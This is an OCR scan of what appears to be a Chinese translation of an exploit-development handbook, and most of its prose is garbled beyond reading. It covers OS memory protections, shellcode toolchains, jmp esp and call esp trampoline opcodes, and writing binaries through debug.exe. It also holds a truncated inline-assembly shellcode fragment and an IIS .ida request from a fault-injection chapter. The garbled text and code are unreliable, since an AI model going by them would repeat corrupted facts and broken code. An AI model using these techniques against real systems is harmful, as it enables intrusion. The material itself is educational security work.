9 K¥pagesize/2 (fEIntel x86 £ /£2048) (MR SR BARAFLETUAR L. HII01, {ETntel x86
by BB R BL0x? 2222000 M BL.

5. #tz#90pen BSDILHL

Q 7E34f8ALLE, FProPolice4wi® W #% .

O JERLEP A L, BRI WAXTEN I BRI

14.24 Mac OS X
SRR HUHIK B, PowerPCHllntel4b #1488 | ffiMac OSZ [ AR E S, WEE—int
R

1. WAX

0 fEIntel x86 &, RAFRBATIERATHAT, HAMERTHTH.

Q fEPowerPC b, BT M #HebT A AT AT o

2. ASLR

Q A AR BN .

a EWAMFEZE, BT &BFEREATIANTEERSI, HERSHIARE—HEN
CHALD o

Q 2y, FRHRMERE G, HIEAAASE.

3. R IR

Q #H . EMac OS X B B AAF fcanary BUILFTHEFF -
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4. 3fR4P

Q W . PAFTEL SN R S canary .

O MEERIRAH R - REE —RARN, PEREEARTELN, Fit, FARLEh
BURAE . WTUNEY, DORERTRMNARFERHAEERS -, 5, Bl
1B OS XHERE H HAR E A —L%

5. HftzkyMac OS XL

KifiMac OS X E A, HFRATAEIEATTEIntel RPowerPCAFEES b, YR ZHIRBAFIEIFAE

FIANEE BT LU AE. X DU i % & R RA RS SR M ER SR (R
FREMAL PR, BB 12FEAHH .

14.2.5 Solaris
Solaris #8551 R Finx-stack M BAE RS, B4, BREATIHEH—RRPHH,
RAOVWIREHRFLES K, HHNEREO is %4 /N Chttp: is.org/os/
i i jects/pri g/) MIRE, EERKR, HIREERHLR.
1. WAX

O 7EIntel x86f{4 |, Solaris 10FRARIZRHFWX,

O ESPARCHE{F L, TTARYE AR HAT I«

Q 324 sl dR P ER AR Finx-stack, {EIAB 320N FIRFHRM T . o LB B S

/ete/system A JRAE.

O 644 1 AL FFBRIA A Finx-stack .

Q JiA R IR i A WA X

O JRSEHR A WAXH 15 AT A fimprotect () BURW+X.

Q chained ret2code/l A it £ /& 3, # 4% John McDonald {75 it ## (http://marc.info?m=

92047779607046).

2.ASLR

O HRAEAT HuhE BB ALAL

Q FERIMERBIAAASZ SM I RS stk o

O FRAFEFBRGAE BB BIAAASZ .

3. RBERP

O WA7. {ESolaris—HHIE, FFEfEcanary RIEFHIFHRAZ .

4, R

O WA, —FLEIRRAR10, SolarisHEfiFE HAKA A 1E % AT # B kcookicKr R .

5. ®ftkaySolaris LI

{4 Solaris 10774, I\ 7 —450] FF N Solaris R ) % &5k . 111# K ¥4 (sandboxing)
T4 PRYEAE . MERUS FRASER (Process Rights Management) FIRBAC, #J{5#" /& (Trusted Extensions)
FIMAC, BAR A AME LU S D Trace TR . DTrace$t /R LR AFH VIR TR, {BRAT LU ERE
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AL R
14.3 /g

RFNR T ERRILIFAEH M EREE B, L E AR F R IR KRS P
HIF L KRR TR XS AL R RS R L LPITRES. R, X5 Hs)
GERAAE RN, TR G P AA B R RS

HERPHUSIGERBEHRA A BAROES , BAENEKEEE THRRRBAY, Ktk
BEfRHBEEMNHNL . BKISERRI I ELRR AN IEWFMOEE, WAk 7
28k (rampoline) BMUEY, MAKIFTAMFFFHES: Fit, WRRFIFAERRERLE, ©
BRI T, Bk, BEARFRTIT 4 Hpop-pop-ret fEMBLIR, MAKIIT/SafeSEH: FIHRFF
U ATH3E, (HAEFEFHAT . BiAf Windows Vistaff#5 N\, BKEEE T /SafeSEHHI S, (HBMERE
PG T R CHMHR, AAIRR S GTER ).

S, Lt PR R RSP, EWAX B ASLR CABER b o] LABRESSARA
WEARMRBERD, W RERM VTR, FFHAE. FRREMIEETR, SIHY
1k R R RAEA A TR0

I RAGEW KA EE, T Mbug IR NSRRI B T BT R MR K
BOR - JUARSN T LB A2 w IEAEHE R AR TR0 T R A0 R, XA RS A B
& MRS TREE RN EINBOGIL. RO, BRI BRI HH., A
W R AR S BOARTHR, BRI FIAHIRIARAR, BAR@E R, itk
B RATA, FHAERETREWERT, TABATHSE. X4 6 i ZRAR LT
WG T, RARERNT, RGN CRAT BIRIEH .

755 A A 48 38 SRR A B — S TR B R R AR AR Y Gl et TR & T 27
), MEMVEMBAN, ORI L5, (0B AR P th B b
Tl f S FIRORER & TG BB DR IR T, Hedn, LA B R AR
AR BA FA R, R Web N FIFZIFS. X MR AR WS, e
FNA FLER ST RS 9 ) AR AT ) o

SEEE AT A PO AR 08 e X 3 R 0 3 — N DR S AR R ¥ T R AL AR
B, ERATBA HAEFE, FRIXRE MR I T S EMA ARG RRAKT, RITRLE
BREL M), HOH SRR ROAI. TURMA, 252 P MBAET.
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B, {RELRLinux. Windows. Solaris. OS X. Ciscof % WBET . EHE=HS
B, RAEPHIZMIR, HA LSBT R IR Ik . EFFR2HT, RITH%E
BRI TR, U VS A RRITRRERAN . BISEARERIR
WRFEEN TAMSEION. 16— MWATH H SRR E——HEA. $17
TEVEAA— A A SR R IRy o —— R

Fett R R AT A AR R R, B, RO RGBT G, hTFR%
BEOEENHERFHA R, W Rk LSRR SN RE T, 18R T H EG
BHERFRIR . FohIFRMFABRHORII R, B, EH19%, RIOEHTFHHE, H—
SR LYY T RIFR %, FHIRELER, F0HNFRABE, XR—NELRF
BB, ALHOM BRI S AR ROBRER v . 21N R, ST AA
B A A LR -

WA E

IRISHE A TARSREE

P16 HEREA

HI7EE BRI EAR

SHI8ME WRWSHTIE: AERET-CRYTEFH TR
WIoTE  FLAIE

2058 BRERIRF

W29 A BT A TR AR




HI5E
B TEIRS

|

ﬁﬁ%%ﬁﬁi‘ 24k R S Ath S shellcode A K i ) B, 65 B — AP IE 9 TARPR8. PR 2
BT, ROEBALIEEFAFEELE, 5T R0, MRHIA AL
RF W TR WRA CRAURSHEIRE. SRS, Badtff. AEHra
el F QIR I AR

WH K, WMEHATHBIARR, EOFRAKH MM —RETERALENSETRA
Fit, —REARSRGREO TR, WM TR A TERRLES, SUNERENET
RUL) WA B, ARRE A BN AREATEOBRFTAR. LR, TEshellcodeFis
H, BRIFUGSHRFORA, BABLREEETI, HeHARTROETREFN
TO, {ERATATLMRE S R BB TA. WRMT TR, SERHE, EEXABMRHEL
R

AT R, BRATVRRAEAEFTHRAE RS, BT AT S i 20T RERIR IEZE AL AT R SE
Fk, MARALAESHE. WRFNMAGABSHIERGHR, RIKLCHRERGETIHK,
MRBATI, MAXLNEELARGFEIRN, EARENREREMIEE.

151 REMFAKMSERR

N, WERE R R TR S A PO
Q Intel x86
Q Intel Architecture Software Developer’s Manual, Volume 2:Instruction Set Reference
tp: intel desi i 1s/243191.htm
ALK 19524319101 pdf
0 x86 Assembly Language FAQ

http: fag

Q IA64B 4Bk (ltanium)
www.intel. ign/itani
QO SPARC Assembly Language Reference Manual

htm

© GAERGRUH, TUHMH—LHRRAES T, RIETE, —F&E
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hitp://docs.sun.com/db/doc/816-1681
B TE R 118 K816-1681.pdf
O SPARC Architecture Online Reference Manual
hitp://online.mq.edu.aw/pub/COMP226/sparc-manual/index. html
0 PARISCE% T} (HP)
FEMAA TR b 3% % References and Manuals
Q http://lsd-pl.net/fi 4 T—243E ¥ 4T K9 B TRt

152 Rftatwiz
AT REM TR, FHHAREx86 shellcodel 43 £ HEIM T

1521 gce

gec (GNU Compiler Collection) & /Mg 4 UC/CHHHR, EMBATREIH
Fortran. Java. Ada’S#iFeifis. geonl it HATBAFI% I (GPL) HWi¥as, SCHABNCH. X
shellcodeFF & # Kk, gockIFIMIEHEL .

gecETUR: http://gec.gnu.org/e
1522 gdb

gdb (GNU Debugger) #&—/M#t (GPL) RyiMiR%, #Htdr ST HRAE, & hgecil
FRET, AR A RIS R AREF, FTLAR TR H b TR, SRR 2.

A LA7Ehttp://www.gnu.org/software/gdb/F i 1 RFIGDB.
15.2.3 NASM

NASM (Netwide Assembler) K% 2 18611 4%, AT LA s Fs U — 3134 o WiLinux
FBSDHfla.out. ELF. COFF. WindowsffJ16£2A1324% H AR 3CH4F0 a0 47 3«

0 BARIEAE FIRE AR, INASMAETRE ] AR A0HE . CFTI R SORE
AN T x86HIEAETS .

A LA ZEhttp j 4k ERFINASM.
15.2.4 WinDbg

WinDbg KA (7% P A A VIR AS, FARIFRIGUISHE B R (KA HE, TAAF IR,
PR R HORRI SRR AR AL /% . R WinDbght FAUERBAEME LIREM TR, BTEL, R
W?ﬂ&ﬂ&fﬂ-ﬁifﬁmﬂﬁ <Mtu0mle5&lApache) !ﬁ%wﬁmtﬁﬁﬁ‘h‘% WinDbg A 1 B «

AT A http: ing/Fi4t 3% #WinDbg, B#7ERI4FR
L:49% Debugging tools for Windows.

15.2.5 OllyDbg
OllyDbg it Windows V-2 F i) “4Hi ka8, HAEMIEHMAFHE, WRNAFYR (WinDbg
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BAXATIRE) Fo EMRICRIEEMEA. HEALUHOlyDbgREWinDbg MDA £ T
—HiRE LR,

T LAZEttp://www.ollydbg.de/IR i EIOllyDbg.
15.2.6 Visual C++

Visual C++RHEPAEH C/CH 4R R B8, B RN AL, AWEBAOER
Hhik. Visual C++53—FE 1 1R S T4 K T Microsoft Developer Network (MSDN) 3044
4, XGRS Windows B (RFSI 44 H ;B Win32 APIZ% PRI BIIDE, oI LRGSR
FIERE . Visual CHRIGCCHAL, RPN, XM AR BBl R, BTE2,
0 RARA Visual C++115 ] ¥ ATHE, HF-4 Visual C++/Developer Studio & AH 8 —iki .

15.2.7 Python
Python AT A POE N R FFFF RS o SBOE HOBEAAT A Python S B RES, A 43y

P4, Ak A Python ] DAEH M MRS th BHAES, MITHRMA3E4 LiffL# . Pythonim b

MOSDEF (—AM{iPythoni[ 43 8 FshellcodeJF K TR #RIKRBAH BHEMNALZ —.

15.3 HIRMFEMFA

KT B Houg, BAVE®EAFMIRIEHTIR B RLRIYFOA ML . FHEHM TAER
ZHEMIEIR LA, GIIET Koug, TERBABIF. SHTRA BRI, LA FHE.
15.3.1 HRMEHNF/ IR

BT ARAFIM LR, MeE B — bl SRR TR, 48, A lAcE)
FE LA MEFREE| AR E .

1 RSB 8

TEWindows FIUNIX Y- L, TIREBEL M F AR QMMuhk. B, 767 Windowstk
WA, ARAT AR T 4R3R P shellcode FESPAF 7788 . 4 T RIAIIXANRIR, B JHRICBUR
Ak, DMEHEER Y oA 16 R A AR - B 8 SRR Sy i AR WA B F R R RS,
NV R 1 it S o A3 [ i«

jmp esp (Ox££ Oxed)

call esp (OxEf 0xdd)
push esp; ret (0x54 0xc3)

VRT 2 RIRE W AF BLIGIR B 177 AT IXAE (750, (B ERAR A1 UL S 46 B Service Pack
BUMDLLE KB EA].

U M PR R B 0 TR R R BGT AR AR, HRM AR P T 272, MIGERFH IR
SEHF T, nmmwa;ﬁmmfu;wmw IRB L 7R 4R AR BURM AL, BIRSEA . N5
—Fii#E, D loit i H ZEhttp: peode_database.html 4 3324t T — M6
BRI BRI
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2. WiB AR T 3%

BRARAEM (=8 MZERAM LRI, B—AKEFH (Wb, 2 HIHK ML,
HERPCH ) 4SHEMBIINR T A E R A B . EE BRI R BRA A, BMERMRSE
BRI v AT L R S B

3. Wit HS

REHBRIIE Windows F ({1 shell AT R . Hoinit, EAH b —dhIscrr, i
A HBA 32 B PR A, EIX PRES A AT 4 R AR R — LA, FRA £ #) “"MS-DOS
ik B debug. exe.

debug. exe F{MS-DOSKH L HBLE S, WRTRERMAFET /LT~ WindowshR A F, 764
G 3H Windows L 28 B L F-ARAER B € . REERIT 2, BFRETHHdebug. exelilAl
B com3CfAY, HSERR L, ARAT U ERIRMERM B . SR, SBRA—LRBIN,
IBESAFB AN T 64KB, S ANBELL . exeBk . combh B

B, FIMAEWT:

73 71 75 65 61 6D 69 73 68 20 6F 73 73 69 66 72  squeamish ossifr
61 67 65 OA DE CO DE DE CO DE DE CO DE age.@@pAe@pe@pheepe@pieep

ARTT L E — MRS BRI RIS, WTFHTR (B34 b foo. scr):

Z ;:EésC;Z 71 75 65 61 6d 69 73 68 20 6f 73 73 69 66 72

e 0010 61 67 65 0d 0a de c0 de de cO de de c0 de

3;20

a

R EIE1Tdebug . exeo

debug < foo.scr

debug . exelfy i — L

JORKA ! B RRRERASCE R A28 307, BUILAT BUZER [Ashell & fechofr & G
A, iR SR SE A SRR, T LA T AMAR S BIE 1T debug . exe, HIRAERL T3
IS 28R, T LA E OB R 4301, Minc. foo, HFFALFRSERLE FH¥Rinc. exe.

OURBIA S R ME—TT DL B L RO, {EFIPer]. PythonsRCEIT#2HASE R E BT
o, e P T T B BUR B A S« A SRARIE K4 Windows H i) i [eJshell, debug . exe
HRL A TR

#EWindows_F3EH Ho A% —REBISCHE AT iR, B0, Setkrkse A T T BN R AR .com
SCA, AR S A AR HERISCE . PRTTRASEATHT ED I RSB comSUAF R, RIFHAE
A E AR o

1532 FANTE
NetCatil i a4~ R WML o) VM WBSF- & P R4 TR EJEAEH Hobbidt e
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&% “TCPAPHILZET]”. Wimdt, #RATLUH'E/TCP/UDPH 1 HHCR 3k HIScE, T w7
R [fishell. NetCati B LinuxF-£5 &, fGXA T WindowshiA, BL7EXH T GNUBA.
GNU/R ¥)NetCatn] LL7Ehttp:/netcat.sourceforge.net/ Mt 3%,

Netcatdg 7 i UNIX A1 Windows i < H Hobbit RIChris Wysopal (Weld Pond) %5, A LA%E
http://www.vulnwatch.org/netcat/ it _E 43,

15.3.3 UNIX

AHEARBE, UNIXI TAEFR S L Windows(RIAF 2, SRS SN TR, FlfEfkss
A%, UNIXURHRZH 0 T 24—,

1. ltraceffistrace

ItraceRilstrace VP A RAMBIARMAEWA . FRIFERNRLEA . BFElESSn
Ao MR T AR A B AR, Mrace M A SRARAR S EHUDS IR,
HARBFHRL ARG, straceth AEHA .

A R A A ItraceMstrace ({445 F-At .

2. truss

tESolaris b, trussiit #2240 Fltrace Fstrace (42 .

3. fstat (BSD)

fstatie 3 FBSDHSCHRATF, VB CHTFOXMH (BEERT). WRREER RO
Heb R AR SRR IEAR AT A, BT LR L.

4. tcpdump

o UF (KR S R PR s ffer 2 FUHETRZ o topdump ] LR AR 1
Widi PR AR A A, (B SAHTMAR A, wireshark (B2 FRITIE) HiEa -2,

5. wireshark (£ ethereal)

wireshark /2 P T S I % 3% B W e sniffer F MR M AT 28, AT LAAMITAAK 2 30T MO 3084 .
TRARAR T ARSI I P DORAT 3 5 ORI T v, R R (R

] LA#Ewww. wireshark.org/ T #wireshark.

15.3.4 Windows

Windowsi {218 9 4£35E BATUNIXIR A EMER, E9ARKBIE, W Eaeie
UFHE, FARERER L RIEEARWIER. FEAHMUA RN, oLl ¢EMark Russinovich
FiBryce Cogswell(] P35 EARFIEAT, XA ISEBLAE C LR MAWBIN T + http://www.microsoft.com/
technet/sysinternals/default. mspx.

Q RegMon: Kz HAbMERE R WindowsHEA R M5 ], AT IE#, aLIMB I FAT R,

R I KL RO |
Q FileMon: WS#3CHFIEZY, HiATidaEas.
O HandleEx: fHASEFEME TWEDLL, #HHTHE SO, maradi. JL%nTe
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B X,

O TCPView: ETCP/UDPHi OAL#FEKBEK .

Q Process Explorer: fuFStitRy#idife. i§. DLL%.

Sysinternals(fj R GE TVFE4F TR, HIXSAMEFR—MFH LRGP LR DR -5

IDA ProfziC 4 2%

IDA Prof il LSF R 1 TR, RICHTR, FIAAHMTIARE, WXHREED. X0
AW FE 7RG ARERS . MRREARRRT T, miET. £87
WM, DA Pro#BHEIR %, AT LAZEwww.datarescue.com/4X ZIIDA Proff it HIA% -

154 BEELIMAN

EHBR b, RATTLRBKRA KR H IR, MU T, SRUBHAREOET,
RHHREDT o WRIRAERFIRMRARE LR 2 5, AAEBRIRIN, (RS REE— 2
BB, RBA RSN — L T . R ARSI TR, TS H R AT
REFHG. ETHEEHKE, RITEYUEZ) T —BRITANHT S LM AR

a4k, BIFRTATF R B ARG B 5252 AL RS MM, S8 H AT AR RISk SO
HEVERARIBAR, KR 2RI H B o

KT HARE, BAIAEAREHE TREMBAAR. WRIRER IO FEEH PR,
WK

1. #% i A

0O “Smashing the Stack for Fun and Profit” (Aleph One)

Phrack Magazine, 49, 3145
http://www.phrack.org/archives/49/P49-14

O Exploiting Windows NT4 Buffer Overruns (David Litchfield)

ww html
Q “Win32 Buffer Overflows: Location, Exploitation and Prevention”
(dark spyrit, Barnaby Jack, dspyrit@beavuh.org)
Phrack Magazine, 55, 155
http:/A i 55-15
Q The Art of Writing Shellcode (Smiler)

p: Y X irt-shellcode. txt
Q The Tao of Windows Buffer Overfolw (DilDog)
‘www.cultdeadcow.com/cDc_files/cDc-351

Q UNIX Assembly Codes Development for iliti ion Purposes (LSD-PL)
http:/lsd-pl.net/projects/asmcodes.zip
2. R

Q Using Environment for Returning into Lib C (Lupin Bursztein)
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www.shellcode.com.ar/docz/bof/rilc.html (Lupin’s 3= JU & www.bursztein.net)
O Non-Stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP

(David Litchfield)
WWw. k-bo-windows.pdf
Q Bypassil and icld Protection (Gerardo Richarte)
Www. i php?idx=242&i ion=11
Q Vivisection of an Exploit Development Process (Dave Aitel)
Blackhat Briefings Presentation, Amsterdam 2003
www.blackhat. i pe-03/bh pe-03-aitel. pdf
3. i A
Q@ w00w00 on Heap Overflows (Matt Conover)

www.w00w00.org/files/articles/heaptut.txt
O “Once upon a free()”
Phrack Magazine, 571, 9%
http:/www.phrack.org/archives/57/p57-0x09
“Vudo—An object superstitiously believed to embody magical powers” (Michel MaXX
Kaempf, maxx@synnergy.net)
Phrack Magazine, 57, $8H
http:/www.phrack.org/archives/57/p57-0x08
B Y,

o

>

O “Basic Integer Overflows” (blexim)
Phrack Magazine, #6031, #5105
http://www.phrack. i /p60-0x0a.txt

5. L Y

Q Format String Attacks (Tim Newsham)

p corest.com/~juliano/tn-usfs.pdf

a iting Format String ilities (scut)

htp:/julianor.tripod.com/teso-fs1-1.pdf :
QO “Advances in Format String Exploitation” (Gera,Riq)
Phrack Magazine, %59, W78

http: p59-0x07.txt
6. FREBMTHENE
O “Writing ia32 Alphanumeric Shellcodes” (rix)

Phrack Magazine, 5TV, #5155
http://www.phrack.org/archives/57/p57-0x18
Q Creating Arbitrary Shellcode in Unicode Expanded Strings (Chris Anley)
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ww /pap i pdf
7. RER. WAAITR
O VTrace TH: JyWindows NTHIWindows 2000815 R 455 £5 2%
“VTrace” RZREE TR (WAL
microsoft. i 1000/VTrace/
O “Interception of Win32 API Calls” (B4R
www.research.microsoft.com/sn/detours/
QO “Writing [a] Linux Kernel Keylogger” (rd)
Phrack Magazine, 593, #1455
http://ww ives/59/p59-0x17
0 “Hacking the Linux Kernel Network Stack” (bioforge)
Phrack Magazine, #6131, #5135 .
http://www.phrack.org/archives/61/p61-0x0d_Hacking_the_Linux_Kernel Network_Stack.txt
Q  “Analysis: .ida ‘Code Red’ Worm” (Ryan Permeh, Marc Maiffret)
www.eeye. h/Advisori 120010717.html
WXHER
NG A R SCR R i3 S IR AT 51 th KBS SO, 8 TSR 53 40— S8 D ik
[ipe=H
Q http://community.corest.com/~juliano/
a . .

P ity.nl/pap:

15.5 ffift shelicode %

RATIESR— U SshellcodeR, B T RIPENHEIBTEESE, KA 1) 7T e 2R FURL AR Z 0k,
WEBPNURE I, (25 EshellcodeZ J7, MHABUR LAY, LaXRENMLRSL
Bl EAH, BARRAHELA W ETIHMNL, R OIE. SRR, BRI
shellcodef 4 5t o

Jntkshellcode 5 i) AT 77 i#:)F AR FUIE i % Bshellcode, MIAEAH R WARI (syscall
proxy) BiprogletbLifil. AT, EXZHMBLT , 'S AW FRAR L AR VR RN 32,
DR, BRATEE TR BEHE BRI MW R, IF G e IR .

15.5.1 it

TESHTI . GRS BRI AT, AP SR AR . 7EWindows b g 4R34
0, ATEAKRERR OB IR A S B AR T 45 A8 4L ) o

(1) S BCS IR Pk 7 15 R it

(2) ST 5Ak (playload) AARSF-AF47 BAUML . (ESPHR RN ? HAbIY 77 47 88
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W2 )

(3) Jah X7 @A SR & R Aty Windows B Service Pack#E| T $fjjmp/call <register>
o

(@) pIg/N . BRI, HCENOPIR A HIB fshellcode, BT KA ANTFRIR.

(5) MR AWAERIR, ERATEABES, SOBBR AT, MREHREN
FERR, FiSLIEMishellcodef{# Hi A fitNOPH &4 fshellcode.

15.5.2 FMBKICHS shellcode

ST W B GRS shellcode T LAY 4 IR B BT . V& RIS Myshellcode Xt LAZEAR HY
HONHEBIE I, R, WRFAEABSEES Gro) SETRTBBIANRL, RE
Hdshelloodeff e /MER, AL ARHFH B AL RIUEA R . WENTRB CFER
Visual C++{f%, {H 8] Fgee):

char *sploit()
{
asm
{
; this code returns the address of the start of the code
jmp get_sploit
get_sploit_fn:
pop eax
jmp got_sploit
get_sploit:
call get_sploit_fn ; get the current address into eax

; start of exploit

jmp get_eip
get_eip_fn:

pop edx
jmp got_eip

get_eip:

call get_eip_fn ; get the current address into edx

call_get_proc_address:
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mov ebx, 0x01475533 ; handle for loadlibrary
sub ebx, 0x01010101
mov ecx, dword ptr [ebx]

JUAXA 7 ik SRS HT LA F 4 ko
Q A LMRITEMR IR . UR7E6A H G HER B ikshellcodel, X EIER LA FTHE) .
O {ERERRIBE N, AHICERIT R, KB, Wikshellcode. MRIRIIZK
ARG R IR shell, B4 SV AR AER A .
Q AT BB (A3 R B Y VARG 4
O BUESARTERT, TRA6% Jrrib (Y LI ROREG ﬁ%ﬂhf&e&ﬂ:ﬁiﬁ!’?ﬁﬂ
AR, FIRKAITRS R TR PR 8 0 AR —H, WEN BRI, AT
WRT R HEARGREJE BRI, HB I TK Blshellcode B 4.

add byte ptr [eax],al

o, LEORSEILME R EFN . XRENIE, RATRT U strienR i BHA
A .
15.5.3 437 shellcode FE

PG B shellcodefl) /iR 47 HAR ML LR MILALTT LUZAT (ARTS AT BRI T o ST
BTG AR TS, MR ERPIXRIT, WKCERE, BN R ARBAX LR, R
AT ARG SR R AR, B IR T MR T B s e

LR B WIAR AT JR, TR AR RL M e, eSS, W
B IS4 E M, 478 T RATEMR S il B, ROV G ORI RIFREY.
FeanBt, — AR — BRI, RCEAVEAD I F %, TR, BT R R
FXBRTYT
15564 HHLET

FGIEAT e~ IR L, B RS W RIS FifiF) T — SRR
FELIEAT (19 )79 BATHI A B ,

Q MRARG K B AR, R HAEHG? MRR, 47 Windows B il flexit ()
ExitProcess () BiTerminateProcess () »

OWMRKRERBIRRE, EXAHEMNG? WRL, HAWMAExicThread() |
Terminaterhread () BRAFH (¥, W RAKK i (K9 EDBMS, XA K TAERRAF
1Ky DBMS {4 i 4 /i A6 #23ts (Oracle FISQL Server#fi f£iX FE A1)«

O 4 SR PR P S R, R T DA SRR 3G 7 S R A R A, (AR g
TR,

FEWSL IR, 47 LT i

RAGAEG, R F AR T SR M5 TR, IF BT LMRAF AT S 4
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il A AR EA EBOE R R ER? .

0 BERHEREAEN . AR E T, BAELERAFIAR, ML
PRI R LB . RREREAF T, TR, EAEOR R RERA
S, A R, N ERBIFRHE N S AR, TR B ER MR,
BfTret I .

0 BEIR k. R0 CABHE R BB L A et RAATIXAN T . W RAEHRIRERFE 1)
HT R EE ARSI Ccall stack), AT fit2 A TR A B (U HE8% AT Frree, A2 tH
8. i, XESQL-UDPRIRERA R (Y HSQL Slammerdk dFIfi). i1, AThER
T — L

O Ak (ancestor). HEM, JRERVF LR EALAR, WEREERE. %
CERURR, RATEEER, EHWARZARTRAMBE RS RE EEE. A%,
SCHAURRSE), AT P BORRFFIBAT A RUE

1555 (ERMBEBFRETR

FEBCHARRS AT LUTE 4 TARSR, B2 f1 LA RN STHE, SRR AT LU s R RSO AR
W, DMrEERE. REXN—REERE, RER AT IAENBRERFREIRES T, HaR
RELAE A AE SRR IR B e A8, RIS G S R IS, (e 7E N5 SR HL AT LU AT A
A LM R RIZAT I L0 B AR NG . OB W RN ER, HBFWRADTFR I,
WRX—B B TARMEF T, IBALER BT, BATRA LI LT G BT T .
PR S RE M BTN R R, Ry LU AR R A %
a AT A B R — & BB R PAT R G ?
O WRAMATESEBAT SR, WA TEEND? Bita?
Q AT LU SN BB BRI A — & EAL AR AT Bt 2
O %5y Windows Krifi (VRS AT BAZE H 478 REEMIFTA B3 T L TG ?
O ARFGA] AZE Al S A ) Windows _F3E4TH5? HHINT/2000/XP/2003?
0 %S (fLinux Bt fCFS AT ATE AR Linux RATAR LIZ4T19? A7 24k s (R dik/fs A 2
0 H TR AMIER T, WEHFMA-ARBRD? MRTE, HRERTIER
R R BN, AR AR LY, AR, mRARER e, L
P& T XNEBAR, 10 Windows PESk ¥ LoadLibraryAiGet: bk
BRI Linux RATHL .
O R A AR B K, Wi A XA 4 RN ? 1R IPTable 5% (7 Windows |) IPSec
FROE BRI B XA R, BB R T S 4% B AR O R 7
O KA M THARE? BEAMBE?

@ WAE. —EEE



15.6 % 343

1556 SIERERE m

WRIREER AR, AN RAshell R, Bbf EARHMEANERRE. REW

AL SRS, TEESHOR.

O A E R KM S B S (accept. recv. recvfrom. send. sendto), HH
FERF NI R, #RJ5#Eshellcode AT HUX MW A E . XATREW RAEH
PRI WHRES Mk R AE ] getpeername 3 S F I R BLFTIRINEE BT

0 7EWindowsH, fR7]figA#EReadFilefinriteFile LR BN A, FAEETARAMNE
AR,

O WRREA IR S ERFOW N, FERE. ROTHEZFRIIR, RRRSFER.
¢ Windows £, HFRHEFL AT 5B Event, Semaphore. Mutexslifs X . ERT=F
W5 F, Bk Iy 4k 72 T i 2 ¥ ] waitForSingleObject (Ex) B WaitForMultiple-
Objects (Ex); 7EJF—FR T, U EntercriticalSection. ZEFTH XL
F, — B RSSO, S AESS, B, JRAT VS B CrHEbL,
RERHALLRR —RIET.

16.6 /&5

AT T RS AATDN R R 19 TR PR IRY, SS0EFI4T —EBMN LS
HFEHER AT




!ﬁﬁzfiﬁii)\gi

KLY, AT BB A AR B A T, s, e

NERZNATFEATEY. L, AfHEMRAENEHE. s%, 8E
ALFEOMETE (RN o X ROBE (SO R L — AT I A HL B (15 | B PR T4 B
TR, ST, HEES RS, RS SE. BT, KR R 5
WA R D HLAE PN RS

AT BRI R R IR, SO BIRARATHK . BT SR ARERKAFRAE
HeNg?

EREEM AR, BRI T — SR A RS, I TRSIA R A E . 76
Office of Naval Research (ONR). Defense Advanced Research Project Agency (DARPA). National
Science Foundation (NSF) FiDigital Equipment Corporation (DEC) ¥ BhfURERIFIIIA, &
FFR T BRI REEEAN RS YA HBEEAN RS (WIDEPEND. DOCTOR. Xception. FERRARI.
FINE. FIST. ORCHESTRA. MENDOSUSHIProFT) CL4#WIHINE ABAR T LIE KRN R 1l
A AR IR . 3k 1R RGO F AR YA ) —— W TP R AR DA PR, LSV
RGBT AEDTFRIAA PR ELBSEM LT — SR T R, I FERMER I RES
Wi BIERM R RAT RS, B ZANE H AT E, Bk, JOURER EEARRI K
P22tk

SRR (QA) TR 5 £ R WACEVE N T K BV R T HL RO . 0 R e
TAUARSE, A I AR 2 MR TR AT, MR TR BB A, i
AT AT LA R B R 2 BUR B IR A A GBI S AW R F o ihBR (3R
WA TRAERG ), FRYEAEFBEN R EE. FoH R BATREEHE L &N
B, EHRAT, AT AN THTNSE, FFR @3 H RGNS R TR, FhTEYR T
TR AN, 0 RIERABATIIT 53 S0 H RS, AT 7T LURREE LA 9240 R R HE 47
ARG, TR A, XA B R LU RN AT B HIHES . B, LRI GE
FI AR HITAT CASERETA, St RSO AN A VRS T A RS AR 55«

AR SR LA AR 10 e, AARE T AR U A SR 1 TSR 454 B o il 28 IR Ty
R BHTETF R AP HTRI R FRR BRI A, MBEEERIHARE, R RIIRH
HARBURS N, HEEHORIRELFY o SR HHRE LIRS, SIRARAT AT REOA 2 J AR
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Lo

BT E N RGBS I B I R4, TS EU T A0 B R ERAR
BRI AINE, R R AR R B R RIS, SR
WA, SR, IR EREANAERAFWHS, BAE TEM, ERmERLK
BHE, HOMEE AN RS EA T BRI BB MR BRI

EARTE, BRIV EF R LR—NEEENRSE, MR R PR 5 85k
MIRA . RS RS BRI RITETEET I MBRNZ ERSR . RITRXA RGN
RIOT, BFARRAEH FATHRFOLREARSE (K3HTF2000661 8, RATIARLAFHR
i, WCode Red W #FIFIHIWGD AEHAKML. Bt EARIOT, RATAT LA H ST BRI
Internet Information Server 5.0 (IS 5.0) JR %AW, MITTRRKEENRLKMMKAE.
16.1 &iHEE

RATBEH RO\ R G LIS B 16-1 TR I SHREALFE . KB4 BTE N RS R 2K AL
KIS B FRBRANHER— MM, IFERFIR S4B RRIOT.

3. W RAHG Rt
EH—RIBA LR 4B A BRI %

U TE PR BIFE AR A
) WL S BRI E

2. 5% Pl S
IR AR, A
A BT %
R L

pre—p— B
B B BRGNS AL SR BT
J— 2 Y, WHTTP. LUK F AR 4K A AL

SMTP. FTP. IMAPAIPOP3 RIS
F16-1 RIOT MMt AR

16.1.1 HERMAKIE

HREN RGBSR RN TR EF, BERFRNENEE, RITRAMAIL LA
AT LS RA R RORFF, A FFIR R — A RES HARRF RIS . ARG
IO R AR Y S N RGERAT TR IR . 24T S JE T A A T A A ¢
TR, ARG AL o] LURIGRIR ) . R SRR KA AT, WROVRIHAR MY
HRRKHEH .

AERAGIT L, RAIGEN AL, WHTTPHE% (transaction) %6/ 33
—YORA o BATTT AL DR K285 Web ik 55 88 2 4] ) £ A BOR M Bt o BB R AH LI 4%
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SR, SREILCT S R

GET /search.ida?group=kuroto&g=riot HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0

Host: 192.168.1.1

Connection: Keep-Alive

Cookie: ASPSESSIONI = ITMGLLNNG

RARBHrTe MU TR iqa RRARER Y RS . MERRTIR EIR
ARAE B, ROTRIS BHRRE, (URFIE R1sarTilib s}, XRAELHMMAMIS Web

Pt

SRR AR FE ] RN MAEA SR E, EEAFRELRAGITRT. BY
Jo REEAAERIMEE A GH TRAGZEAME, FRCHTAAFRIRETHRE>
AR Yl — L CLRIREBIGE P 2.

